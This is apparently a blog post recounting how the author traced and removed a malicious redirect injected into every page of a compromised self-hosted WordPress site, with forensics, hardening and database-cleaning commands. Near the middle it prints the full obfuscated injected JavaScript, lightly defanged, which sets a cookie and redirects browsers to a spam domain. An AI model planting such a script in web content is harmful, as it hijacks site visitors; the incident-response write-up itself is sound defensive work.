Thank God for sloppy hackers. Recently, pididu.com was compromised. Pages were occasionally being redirected to a spam site like ischeck or checkandgo. It happened once to me, then I tried to reload the page, but couldn’t make the redirect happen again. I might have written it off to some sort of cloudflare failure, or a glitch on the DNS. But then, while doing routine daily cleaning of spam users (what better way to keep myself occupied during covid-19 quarantine), I noticed a strange user, “system_not_deleteXk1LsxjL”. Like many spam users, that one had no first and last name entered. However, it somehow had administrative privileges (but not super-admin). What’s more, I had sorted the users with most recently created first, and this guy was at the top of the list, even though the registration date reported as 6/6/2017. I knew exactly what I was doing on that date, and I would have been watching wordpress every day. Had such a user been there, I would have noticed it – if not immediately, then at least at some time in the past year or two. Something was funky. I stripped the user of administrative privileges immediately, and started looking into it. Once again, thank God for sloppy hackers.

Herewith is the debugging process I went through to locate and remove the infection.

Observations most relevant to debugging

• Only wordpress pages seemed to be affected, not other kinds
• As system admin, I never received an email notice of the registration of user “system_not_deleteXk1LsxjL”.
• The infected page actually loaded, or at least mostly loaded, before the redirection happened.
• At first, it seemed that I could only make the redirection happen once. Then I switched from Firefox to Chromium, and it happened again – exactly once. Subsequent reloads of the page or visits to other pages were normal after the first redirect. Then I tried a private browsing instance, and the redirection happened. In fact, I could make the malware trigger every time by just opening a private browser. This suggested that a cookie could have been involved.

Did they get in through phpmyadmin?

The abnormal user registration date indicated that they probably modified the database directly. Even an administrator can’t edit that field through the regular wordpress dashboard.

I had thought phpmyadmin for the server was only accessible from the server itself, but went to the local library to use their wi-fi, and found that phpmyadmin was, in fact, accessible from outside. In fact, it had probably been accessible ever since the site was moved to a Raspberry Pi back in 2017. Someone might have simply guessed the password, which was simple. My stupidity. Thinking about it, it was less surprising that someone broke in, then that it went so many years without a break-in.

First step: take server off the internet

After returning from the library, I immediately redirected our router to forward port 80 to a backup server that had no wordpress, only apache serving a simple web page saying that pididu.com was down for maintenance. The intent was to isolate the infected server from the outside world while I debugged the issue. Had I left the compromised server up, sooner or later, Google would come across it and mark the site as unsafe in its database. It would have been a lot of trouble getting that Mark of Cain removed.

Make a backup of the compromised database

$ mysqldump -u myself -p > --databases MyDatabase > Infected.sql

One of the first rules of debugging is to preserve information. Also, I wanted to have a backup in case I messed something up in the process of trying to debug or fix the server.

Did they guess a wordpress administrator password?

Anything was possible, but that was really unlikely, since the password was strong. And if they did, they could have simply made an administrator account for themselves, rather than try to register one through wordpress. As a matter of security hygiene, I would change the wordpress administrator password, but only after securing the database.

Was the mail server compromised?

I looked at /var/log/mail.log, as well as mail.log.2.gz, mail.log.3.gz, and so forth. An excerpt of one of the logs is shown below. It begins at the top with attempts to register spam users, which actually comprise the vast majority of registrations. Often these go to nonexistent email addresses, and if there is no positive response, the tentative registration is dropped automatically.

I searched the log for “system_not_delete”, and found the line shown in bold below. That is the intrusion attempt, with a time stamp of April 12 (which just happened to be Easter this year). I checked the log for any unusual volume of activity after that date, and saw nothing out of the ordinary. My conclusion was that my server had not been hijacked as a spamming zombie. Thank goodness.

Incidentally, in an attempt to appear official, the hacker used the wordpress.com domain for the email. Note that wordpress.com replied with “User unknown,” which normally would cause the registration to be invalidated after a short amount of time. That explained why, as an administrator, I never got notice of the the registration by email. However, my theory was that the hacker jumped into the database immediately and validated the user, not to mention elevating it to administrator. With access to the database, the hacker could have bypassed the registration process and simply created a new user. My guess as to why the did not do that was the difficulty of creating a salted password. Their easiest move would have been to put junk in the encrypted password, then later tell wordpress that they forgot it, and ask for a reset email. But that would have made them more traceable.

Apr 9 17:05:27 pididu sm-mta[348]: 0350ZWnU010010: to=<fratocfigui1977@frontarbol.com>, ctladdr=<ww…
Apr 9 17:15:26 pididu sm-mta[450]: 0351471G010219: to=<pratenlebu1985@frontarbol.com>, ctladdr=<www…
…
Apr 12 05:52:54 pididu sendmail[27467]: 03CCqsaC027467: from=www-data, size=746, class=0, nrcpts=1,…
Apr 12 05:52:54 pididu sm-mta[27468]: 03CCqs6T027468: from=<www-data@pididu.com>, size=872, class=0,…
Apr 12 05:52:54 pididu sm-mta[27468]: 03CCqs6T027468: Milter insert (1): header: DKIM-Signature: v=…
Apr 12 05:52:54 pididu sendmail[27467]: 03CCqsaC027467: to=system_not_delete_Xk1LsxjL@wordpress.com,…
Apr 12 05:52:55 pididu sm-mta[27470]: STARTTLS=client, relay=mail.automattic.com., version=TLSv1.2,…
Apr 12 05:52:55 pididu sm-mta[27470]: 03CCqs6T027468: to=<system_not_delete_Xk1LsxjL@wordpress.com>,…
Apr 12 05:52:55 pididu sm-mta[27470]: 03CCqs6T027468: 03CCqt6T027470: DSN: User unknown
Apr 12 05:52:55 pididu sm-mta[27470]: 03CCqt6T027470: to=<www-data@pididu.com>, delay=00:00:00, xdel…

Was FTP compromised?

If they got access to the file system through FTP, they could have read the database user password out of wp-config.php. The server did have an FTP port open. But to get into sensitive areas of the file system, like where wp-config is kept, someone would have had to guess a strong password. Unlikely.

With access to the file system, a hacker could have changed some wordpress core files, or even plugins. I didn’t see any unrecognized plugins from the wordpress dashboard, but tried turning them all off, anyway, on a few sites. When testing those sites on a private browser instance, I found that they still had the malware redirection. Conclusion: the infection is not in the plugins. I turned the plugins back on.

Since every single wordpress page seemed to be affected, suspected that some of the base php code, such as that to display a page, or even a header or footer, might have been changed. The footer seemed a likely place, since the afflicted pages did seem to at least partially load before being redirected. I manually went line-by-line through various wordpress core php files, but found nothing out of the ordinary.

On the assumption that the hacker was not thorough enough to cover their tracks by resetting file dates to their original values, I decided to look for any files that were modified after the intrusion date (earlier determined to be April 12, 2020.) First, I made a file with an artificial date of April 11th. Then, I searched recursively for files newer than that.

$ touch IntrusionDate -t 202004110000
$ find /var/www -newer IntrusionDate

There were some files found that were newer than the intrusion date, but those I could account for as intentional wordpress updates.

Finally, if the hacker had access to /var/www, they could have dropped their malware script into any page, including the base index.html for pididu.com. But they didn’t. That further reinforced that there was no intrusion into the file system.

Conclusion: the break-in was not through FTP. But I changed the FTP user password anyway, as a matter of good hygiene.

Did someone besides me log into the server?

That would be unlikely. My user password is strong, and moreover, this server had no outside access through ssh, vnc, remote desktop, etc. I, myself, have no way of getting on, other than physically being in the building.

I checked /etc/passwd anyway, to see if there might be any unexpected new users. There were none.

Did someone leave other malware on the server?

Since the FTP break-in was unlikely, as was a login from the outside, most likely, there were no malware programs added to my server. Even with access, it would have taken a specialized effort, as an intruder wouldn’t know exactly the configuration of my system without looking around. My assumption was that this was a quick hit-and-go script attack, not something with a human at every step. The latter wouldn’t be worth it for my obscure little server, which really has no secrets of value on it.

But, why not check a few places for fun. Any cron jobs?

$ crontab -u pi -l
$ crontab -u root -l
$ crontab -u myself -l
$ cat /etc/cron

Any services added? Let’s diff against a saved copy, services.saved.

$ sudo systemctl list-unit-files --type=service > services.suspect
$ diff services.saved services.suspect

Nothing bad found. How about the old way, /etc/rc.local?

$ cat /etc/rc.local

Nothing bad there. No surprise.

Close off phpmyadmin

The line Require ip 127.0.0.1 had been left out of /etc/phpmyadmin/apache.conf . Or perhaps, it was there in deprecated form, which was no longer processed. I added the line that restricts phpmyadmin to running only on the server, itself.

# phpMyAdmin default Apache configuration
Alias /phpmyadmin /usr/share/phpmyadmin
<Directory /usr/share/phpmyadmin>

    Options SymLinksIfOwnerMatch
    DirectoryIndex index.php
#    Order, Deny, Allow
#    Deny from all
#    Allow from 127.0.0.1
    Require ip 127.0.0.1

Change the mariadb password

With phpmyadmin closed off to the outside world, there really wouldn’t be a way for a person outside to easily attack the database directly, again. However, I changed the database user’s password anyway, as a matter of good hygiene. On my installation, it was unnecessary to change the root user password, as explained here.

$ mariadb -u myself -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 6111
Server version: 10.1.44-MariaDB-0+deb9u1 Raspbian 9.11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> set password = password('MyNewPassword');
Query OK, 0 rows affected (0.01 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> exit;
Bye
$

I also needed to update /var/www/wordpress/wp-config.php to reflect the new password.

Change wordpress administrator passwords

If the hacker had access to the mariadb database, they would not have had administrator passwords in the clear, but they would have had administrator user names, and encrypted salted passwords, and possibly enough information to brute force simple passwords offline. While my password was not simple, I changed it anyway.

It would be pointless for them to hack a subscriber-level account, as that would only allow the hacker to post a comment, and they couldn’t put a script in a comment. Thus, I didn’t bother to change any normal user passwords.

Finding the trouble

The quickest way to get the server back up would have been to restore a recent backup of the database, and if that was a customer requirement, I would have done that, then change database passwords as described above. But this was my server, and there was no urgency to get it back up, so I wanted to find root cause of the infection – that is, not only know how they got in, but what they did.

The first thing I tried was to look at the source for a known infected page, and look for something out of place. In Firefox, I typed into the address bar, something like view-source:http://pididu.com/wordpress/test. Bear in mind, at that time, I had no idea what the malware might look like.

I didn’t find anything.

At a loss for good ideas of what to do next, I created another wordpress website (my installation is multisite), and called it test1. I made the homepage very similar to my existing infected website, test, even using the same theme. Then I pulled the new page up in a private browser and waited for the redirect to happen. It didn’t. That was so unexpected, that I repeated the experiment, and also tried pulling up the page from test, again. test1 was clean! AHA, hot on the trail! Good engineers know that once there is a failing unit and non-failing, it’s usually a simple matter of comparing the two to see what is different.

I pulled up view-source:http://pididu.com/wordpress/test in one tab, and view-source:http://pididu.com/wordpress/test1 in another. Copied and pasted the sources into files, then did

diff testsource test1source

The results clearly showed the script. It was appended to the very end of the content on the page. Once I knew what to look for, it was easy to find the script on other pages, simply by searching the sources for “0x2cf4”.

Here is the complete text of the redirector script. This version came from the SQL dump, so has special characters quoted. The version in html doesn’t have all the \'. I edited it a little to deactivate it. I leave it as an exercise to the reader to decode how it works.

<script>var _0x2cf4=[\'MSIE;\',\'OPR\',\'Chromium\',\'Chrome\',\'ppkcookie\',\'location\',\'http:MalwareInfector.xyz/?pma1\',\'onload\',\'getElementById\',\'undefined\',\'setTime\',\'getTime\',\'toUTCString\',\'cookie\',\';\\x20path=/\',\'split\',\'length\',\'charAt\',\'substring\',\'indexOf\',\'match\',\'userAgent\',\'Edge\'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df[\'push\'](_0x15c1df[\'shift\']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(\'0x0\')]=function(){(function(){if(document[_0x287a(\'0x1\')](\'wpadminbar\')===null){if(typeof _0x335357===_0x287a(\'0x2\')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=\'\';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(\'0x3\')](_0x5b6c5c[_0x287a(\'0x4\')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=\';\\x20expires=\'+_0x5b6c5c[_0x287a(\'0x5\')]();}document[_0x287a(\'0x6\')]=_0xe0ae90+\'=\'+(_0x112012||\'\')+_0x21e546+_0x287a(\'0x7\');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+\'=\';var _0x36a90c=document[_0x287a(\'0x6\')][_0x287a(\'0x8\')](\';\');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a(\'0x9\')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a(\'0xa\')](0x0)==\'\\x20\')_0x37a41b=_0x37a41b[_0x287a(\'0xb\')](0x1,_0x37a41b[\'length\']);if(_0x37a41b[_0x287a(\'0xc\')](_0x1f399a)==0x0)return _0x37a41b[_0x287a(\'0xb\')](_0x1f399a[\'length\'],_0x37a41b[_0x287a(\'0x9\')]);}return null;}function _0x51ef8a(){return navigator[\'userAgent\'][_0x287a(\'0xd\')](/Android/i)||navigator[_0x287a(\'0xe\')][_0x287a(\'0xd\')](/BlackBerry/i)||navigator[\'userAgent\'][_0x287a(\'0xd\')](/iPhone|iPad|iPod/i)||navigator[_0x287a(\'0xe\')][\'match\'](/Opera Mini/i)||navigator[_0x287a(\'0xe\')][_0x287a(\'0xd\')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0xf\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x10\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x11\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x12\'))!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](\'Firefox\')!==-0x1||navigator[_0x287a(\'0xe\')][_0x287a(\'0xc\')](_0x287a(\'0x13\'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a(\'0x14\'));if(_0x55db25!==\'un\'){if(_0x58dc3d()||_0x51ef8a()){_0x335357(\'ppkcookie\',\'un\',0x16d);window[_0x287a(\'0x15\')][\'replace\'](_0x287a(\'0x16\'));}}}}}(this));};</script>

Note that in the view-source: window, this script would have appeared on a single line, out of hundreds. That made me feel a little less bad about missing it the first time.

I then looked in the wordpress editor at one of the infected pages. The editor was in visual mode, and at first, did not seem to show the script. Except, I noticed a tiny one-character icon at the bottom of the content. That was the script. I switched the editor into raw html text mode, and the script was there, in all its glory. I noticed that the wordpress editor thought that the last modification on the content was April 9, 2015, at 10:53 pm, which further supported that the script was inserted directly through phpmyadmin, and not through the wordpress interface.

Why, a reader might ask, did I not simply open the wordpress editor in html mode in the first place to search? All I can say is that real-world debugging sometimes follows a twisted path, that seems silly in hindsight when more information about the problem comes out.

Doing a little more research, I found that the script was exactly the same every time, and was appended to the precise end of the content on every page, and every post, on every site, but never onto comments. This was consistent with the hacker getting into the database once, and dropping the fixed text of the malware script into all content fields. Pages and posts created after the attack date were clean.

Cleaning the database

Theoretically, the mariadb command line interface could have been used to delete the offending malware scripts via SQL commands. But my knowledge of SQL was limited, and I was afraid of doing something wrong in replacing something so large, and with so many special characters. So I tried the plain old text editor on the dump. All I wanted to do was remove every occurrence of a long, well-defined string from the file.

All right, I had to do things the old way. At first, I tried to use the entire malware as a search term in a sed command. I ran into trouble with special characters like dot not being escaped, and other characters interpreted by the bash shell. And also, the bash command line seems to have a character limit, too. My next try was the following. The idea was to recognize the beginning of the malware script, skip over whatever characters in-between, then recognize the end of the script.

sed -r 's/<script>var _0x2cf4.*));}}}}}(this));};</script>//g' Infected.sql > Cleaned.sql

I was overjoyed to see the above run in about one second, but no longer happy when I realized that sed had matched the beginning of the very first malware script instance, and the end of the very last instance, and deleted everything in-between, including all posts to every blog. In computer science terms, it had done a greedy match rather than non-greedy. I could have set it for non-greedy, but then recalled that every case of the malware is exactly the same, so I could just match the unique beginning of the script, followed by a fixed number of characters.

sed -r 's/<script>var _0x2cf4.{2580}//g' Infected.sql > Cleaned.sql

That worked great. After the operation, I searched Cleaned.sql for any more occurrences of <script>, and found none. Every script in normal wordpress code has a format something like <script type="text/javascript", that is, there is a space after the word “script”. Satisfied that there weren’t two or more kinds of script that the hacker dropped into the database, I restored the database:

$ mariadb -u myself -p MyDatabase < Cleaned.sql

Restoring the database from the cleaned dump took about 2 minutes.

Make a backup of the database and server

It’s good practice to make periodic backups, anyway, but what better time than just after fixing an issue.

$ mysqldump -u myself -p > ~/PididuBackups/PididuDb20200416.sql
$ cd /var
$ sudo tar -czvf ~/PididuBackups/PididuWww20200416.tar.gz www

Bring the server back online

As a final sanity test, I opened a private browser and visited the home page of every site on the server. I also looked at some posts. Satisfied that the problem was gone, I reconfigured the router to once again pass port 80 to the newly-cleaned pididu.com server.

Why disinfection was so “easy” in this case

This kind of attack is basically like spam. The point is to get a small amount of incremental sales, website hits, or advertising revenue. There are dozens of things I can think of that they could have done to make their script more difficult to find and/or remove, such as varying the text of the script, or covering their tracks better. However, that would be pointless. The server would be taken offline, anyway, and in the case of a commercial server, immediately failed over or restored to a recent backup. Any income from the malware would stop, regardless of how long it took to find and remove the trouble.

What might help, from the hacker’s point of view, is for the redirector to be gentle. If a viewer can refresh their browser and the trouble vanishes, they will be less likely to complain to the admin. That explains why the malware checked and set a cookie.

Afterthought: did they get in through some other exploit like a PHP security hole?

That was less likely than simply guessing the mariadb user’s password. My machine had been updated through apt with the latest security upgrades. But only time will tell. I will be watching to see if they can get in, again.